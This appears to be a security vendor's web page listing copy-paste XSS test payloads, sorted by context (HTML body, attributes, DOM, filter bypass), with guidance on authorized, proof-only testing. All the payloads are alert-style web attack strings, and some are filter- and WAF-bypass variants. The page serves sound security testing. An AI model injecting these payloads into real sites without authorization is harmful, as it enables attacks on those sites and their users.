XSS Payload List
This XSS payload list gives you copy-paste test strings for authorized security testing — reflected, stored, and DOM-based cross-site scripting. Use the tables below for quick XSS payloads list lookups, or run Vulnify's free website vulnerability scanner to test XSS across discovered inputs automatically. Last updated July 3, 2026.
XSS Payload Overview
XSS payloads are test strings used to detect cross-site scripting vulnerabilities. They include script tags, event handlers, and encoding variants. Reflected XSS payloads appear in the response immediately; stored XSS persists in the database and affects other users; DOM-based XSS is executed entirely in the browser without server round-trip.
Payload syntax varies by context: HTML context allows tags and attributes; attribute context may require escaping quotes; JavaScript context needs different escaping. Use alert(1) or similar safe payloads for detection; never use destructive or data-exfiltrating scripts. For full detection methodology, see our XSS detection guide.
A useful `xss payload list` is really a context guide. The same XSS examples will not work in every sink, and that is exactly why teams misdiagnose issues. Some payloads help identify raw HTML rendering, others test attribute breakout, and others are aimed at DOM-based injection paths. The goal is not to collect flashy payloads. It is to choose the smallest safe payload that proves the browser is executing untrusted input.
Use Responsibly
- Authorization: Only test systems you own or have written permission to test
- Safe payloads: Use alert(1) or similar; avoid destructive scripts
- Evidence: Document findings for remediation
XSS Payloads — Copy-Paste List
Copy XSS payloads directly from the tables below for authorized testing. Each string uses safe proof patterns like alert(1). After manual validation, run Vulnify's free website vulnerability scanner to test XSS across discovered inputs automatically.
Basic XSS Payloads (HTML Body)
Start here for reflected or stored XSS in HTML context. Use alert(1) for safe proof.
| Payload | Purpose | Context | Copy |
|---|---|---|---|
<script>alert(1)</script> | Classic script tag | HTML body | |
<img src=x onerror=alert(1)> | Image error handler | HTML body | |
<svg onload=alert(1)> | SVG onload | HTML5 pages | |
<body onload=alert(1)> | Body onload | HTML injection | |
<iframe src=javascript:alert(1)> | JavaScript URI in iframe | Legacy browsers |
Event Handler XSS Payloads
Use when script tags are filtered but attributes are still rendered.
| Payload | Purpose | Context | Copy |
|---|---|---|---|
<input onfocus=alert(1) autofocus> | Autofocus event | Form fields | |
<marquee onstart=alert(1)> | Marquee onstart | HTML body | |
<details open ontoggle=alert(1)> | Details ontoggle | HTML5 | |
<video><source onerror=alert(1)> | Video source error | Media tags | |
<a href="#" onclick=alert(1)>click</a> | Click handler | Links |
Attribute Breakout XSS Payloads
Use when input is reflected inside an HTML attribute value.
| Payload | Purpose | Context | Copy |
|---|---|---|---|
" onmouseover="alert(1) | Break out of double-quoted attr | Attribute value | |
' onmouseover='alert(1) | Break out of single-quoted attr | Attribute value | |
"><script>alert(1)</script> | Close attr + inject tag | Attribute to body | |
'><img src=x onerror=alert(1)> | Close attr + img handler | Attribute to body |
Filter Bypass & Encoding XSS Payloads
Try when basic tags are stripped or encoded inconsistently.
| Payload | Purpose | Context | Copy |
|---|---|---|---|
<scr<script>ipt>alert(1)</scr</script>ipt> | Nested tag bypass | Weak tag filters | |
<img src=x onerror=alert`1`> | Template literal alert | Modern browsers | |
<svg><animate onbegin=alert(1)> | SVG animate event | SVG context | |
javascript:alert(1) | JavaScript URI | href/src attributes | |
<img src=x onerror=alert(String.fromCharCode(88,83,83))> | Encoded alert text | WAF bypass tests |
DOM-Based XSS Payloads
Use when the sink is client-side JavaScript, not server reflection.
| Payload | Purpose | Context | Copy |
|---|---|---|---|
#<img src=x onerror=alert(1)> | Fragment/hash sink | location.hash sinks | |
javascript:alert(document.domain) | DOM URI sink | location.href assignment | |
"><img src=x onerror=alert(1)> | innerHTML breakout | DOM write sinks | |
';alert(1);// | JS string breakout | Inline script context |
Short XSS Payloads (Length-Limited Fields)
Minimal payloads for max-length inputs or WAF-constrained fields.
| Payload | Purpose | Context | Copy |
|---|---|---|---|
<svg/onload=alert(1)> | Compact SVG | Short fields | |
"><svg/onload=alert(1)> | Attr breakout + SVG | Short attribute sinks | |
'-alert(1)-' | JS expression | JS template contexts | |
<img/src=x onerror=alert(1)> | No-space img handler | Tight filters |
Payload Types and Contexts
Script-based payloads use <script> tags; they work when input is rendered in HTML body. Event-handler payloads use onload, onerror, onclick, etc.: <img src=x onerror=alert(1)> bypasses filters that block script tags. SVG payloads like <svg onload=alert(1)> often work in HTML5 contexts. Data URI payloads can encode JavaScript in href or src attributes.
When filters block angle brackets, try payloads with encoding or alternate syntax. HTML entities, URL encoding, and Unicode can bypass weak filters. Test in different contexts: input fields, URL parameters, headers, and cookies. Each context may require different payload variants.
Use payload families deliberately. If HTML tags are stripped, move to event handlers or quote-breaking tests. If the value is reflected into JavaScript, test string termination and script-safe encoding behavior. If the page is a modern front end, inspect the DOM after render to see whether a framework escape boundary was bypassed. The best XSS payload examples are the ones that teach you why the reflection is dangerous, not just that an alert box appeared.
Common Payload Examples
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)><body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>These payloads help confirm vulnerability. Automated scanners like Vulnify's website vulnerability scanner use similar payloads in a controlled way. See our XSS detection guide for full testing methodology. For comprehensive payload lists, refer to authoritative sources like OWASP or PayloadsAllTheThings.
Document not just the payload, but the execution context and impacted workflow. A stored payload that triggers in an admin moderation screen is very different from a reflected payload on a public search page. That context is what turns a generic XSS payload list into a meaningful remediation artifact for engineering and product teams.
Testing Workflow
Identify all input points: search boxes, forms, URL parameters, cookies. Test each with a simple payload like <script>alert(1)</script>. If it fails, try event handlers. Document where the payload appears in the response (reflected vs stored). Run an automated scan for broader coverage; Vulnify's full website scanner tests multiple parameters and payload variants.
If you are collecting XSS examples for internal testing, keep them grouped by context and result. Teams waste time when payloads are copied into tickets without saying whether they were meant for HTML, attribute, or DOM-based testing. A small, annotated payload set is often more effective than a huge dump because it helps developers reproduce the issue and validate the eventual fix.
Testing Checklist
- Identify input points (forms, URL params, headers)
- Test with script tags and event handlers
- Check for reflected vs stored contexts
- Run automated XSS test for coverage
Map Payloads to the Browser Context
The most useful XSS payload examples are organized by execution context. HTML body payloads, attribute-breakout tests, script-context probes, and DOM-based checks all answer different questions. If you are building an internal XSS payload list for repeatable use, label each payload by where it is expected to work and what defensive control it is testing.
This is also why many public XSS examples appear to fail in real applications. The payload may be valid in one sink and irrelevant in another. Pair every XSS test payload with the browser context you observed, the reflection style, and whether the page sanitized, encoded, or normalized the value before render. That turns a raw payload list into a much stronger validation and remediation workflow.
Context Mapping Checklist
- Label whether the payload targets HTML, attribute, script, or DOM context
- Record the exact page and workflow where reflection occurs
- Note whether execution was reflected, stored, or client-side only
- Use the same context notes when re-testing the fix
How to Use XSS Payload Lists Safely
A public XSS payload list is a starting point, not a script to run blindly. The safest workflow is to keep a short set of reviewed XSS test payloads for each context, document what each one is intended to prove, and avoid anything designed for persistence or exfiltration. For most validation work, `alert(1)`-style proof payloads and non-destructive event handlers are enough.
When you borrow XSS examples from reference sources, normalize them for your internal process. Remove destructive behavior, annotate the expected sink, and note whether the payload is intended for HTML, attribute, script, or DOM testing. That way your XSS payload examples help developers reproduce issues responsibly instead of creating confusion or unnecessary risk during retesting.
Safe Payload Checklist
- Use proof-only payloads instead of destructive scripts
- Annotate each payload with the sink and context it targets
- Keep separate sets for reflected, stored, and DOM-based testing
- Store payload notes with the same evidence package as the finding
Choose XSS Payloads Based on the Sink
A high-quality XSS payload list should help you select the smallest proof payload that fits the sink you are testing. HTML body sinks, attribute sinks, inline JavaScript, templated front-end components, and DOM-based routes all behave differently. Choosing the payload based on the sink reduces false negatives and keeps the resulting XSS examples easier for developers to understand.
This sink-first approach is especially useful when a scanner flags possible XSS but the obvious payload does not execute. Rather than assuming the issue is gone, review where the value lands and try the payload class that matches that context. That makes your XSS test payload set far more effective than relying on one or two popular examples alone.
It also prevents over-testing. When your XSS examples are mapped to the sink, you can stop once you have enough proof for that context instead of cycling through dozens of unrelated payloads. That keeps verification cleaner and reduces noise for both analysts and developers.
Sink Selection Checklist
- Identify whether the value lands in HTML, attribute, script, or DOM context
- Pick the simplest proof payload that matches that sink
- Avoid escalating to noisier payloads before the context is understood
- Use the same sink mapping when confirming the fix
How to Prove XSS Without Overcomplicating It
Most teams do not need a huge XSS payload list to confirm risk. They need a small set of safe XSS test payloads that clearly demonstrate browser execution in the right context. If a simple proof payload works, stop there and document the sink, the affected workflow, and the user impact. Clear evidence is far more valuable than showing that ten different XSS examples also fire.
This matters for remediation because developers fix the context, not the specific string. A concise proof payload paired with a strong explanation of where reflection happened usually leads to a faster fix than a noisy payload dump. That is why the best XSS payload examples are often the simplest ones that make the security boundary failure obvious.
Proof Checklist
- Use the smallest safe payload that proves execution
- Record the affected page, sink, and user journey
- Explain why the payload executed in that context
- Retest the same proof payload after the fix
Read Filter Behavior Before Trying More XSS Payloads
A useful XSS payload list helps you interpret defenses, not just bypass them. If angle brackets disappear, the application may be stripping tags. If quotes are encoded, the sink may still be vulnerable in a different attribute context. If the value lands inside script, a tag-based payload may fail while a string-breakout probe succeeds. Good XSS examples teach you what the filter or rendering layer is actually doing so you can choose the next safe payload intelligently.
This is why disciplined testers pause after each result instead of dumping dozens of XSS test payloads into the same field. Compare source and rendered output, inspect the DOM, and decide whether the sink calls for HTML, attribute, script, or DOM-based proof. That approach turns a long public XSS payload list into a practical analysis aid instead of a noisy dump of strings.
Filter Reading Checklist
- Compare reflected source, rendered DOM, and browser behavior after each payload
- Note whether tags, quotes, or event handlers are stripped, encoded, or normalized
- Choose the next payload based on sink behavior rather than popularity
- Stop when you have enough safe evidence for that context
Build a Small Payload Set Your Team Will Actually Reuse
Most teams benefit more from a compact, annotated XSS payload list than from a giant archive. Keep a few safe XSS payload examples for HTML body reflection, attribute breakout, inline JavaScript, and DOM-based testing. Label what each one proves and when it should be used. That makes the payload set easier for analysts, developers, and reviewers to reuse consistently during validation and retesting.
This also improves remediation quality. When a ticket includes a short XSS test payload set matched to the actual sink, engineers can reproduce the issue faster and verify the fix with confidence. A curated internal set does not replace broader reference sources, but it does make day-to-day cross-site scripting validation much more efficient and much less noisy.
Team Payload Set Checklist
- Keep separate proof payloads for HTML, attribute, script, and DOM sinks
- Annotate each payload with what it is meant to prove
- Prefer short, non-destructive proof payloads over flashy examples
- Use the same small set again during fix verification and regression testing
Keep Retest Notes With the Payload Set
XSS payload examples are most effective when they stay attached to the retest notes that explain the sink, reflection style, and expected browser behavior. That way your team is not rediscovering context every time a fix needs verification.
Retest Notes Checklist
- Keep the sink and context written next to each proof payload
- Note whether the issue was reflected, stored, or DOM-based
- Reuse the same notes during remediation verification
- Trim payload sets that are noisy or rarely useful
Frequently Asked Questions
Where can I find an XSS payloads list for testing?
This page is a free XSS payloads list organized by context — HTML body, attribute breakout, script, and DOM sinks. Copy strings from the tables below for authorized testing, then run Vulnify's website vulnerability scanner for automated coverage.
What is an XSS payload list?
An XSS payload list is a curated set of cross-site scripting test strings organized by context — HTML body, attribute breakout, script context, and DOM-based sinks. Use it to prove browser execution during authorized testing, then pair manual checks with Vulnify's automated XSS scan for broader coverage.
What is an XSS payloads list used for?
An XSS payloads list helps security teams and developers validate input handling during authorized testing. Copy strings for reflected, stored, and DOM XSS contexts, document the sink where each payload executed, and re-test after fixes with the same proof payloads.
What are XSS payloads?
XSS payloads are test strings used to detect cross-site scripting vulnerabilities by proving that untrusted input can execute in the browser. They include script tags, event handlers, and context-specific breakout patterns.
What is the best XSS payload to start with?
Start with <script>alert(1)</script> or <img src=x onerror=alert(1)> in the suspected sink. If filters block script tags, try event-handler payloads matched to the HTML context.
Is it legal to use XSS payloads?
Only on systems you own or have explicit written permission to test. Unauthorized XSS testing is illegal and can cause harm.
Where can I learn to detect XSS?
See our XSS detection guide for step-by-step detection methods, context analysis, and prevention guidance.
What tools automate XSS testing?
Vulnify's free website vulnerability scanner includes XSS tests. OWASP ZAP, Burp Suite, and XSStrike also automate XSS detection for authorized use.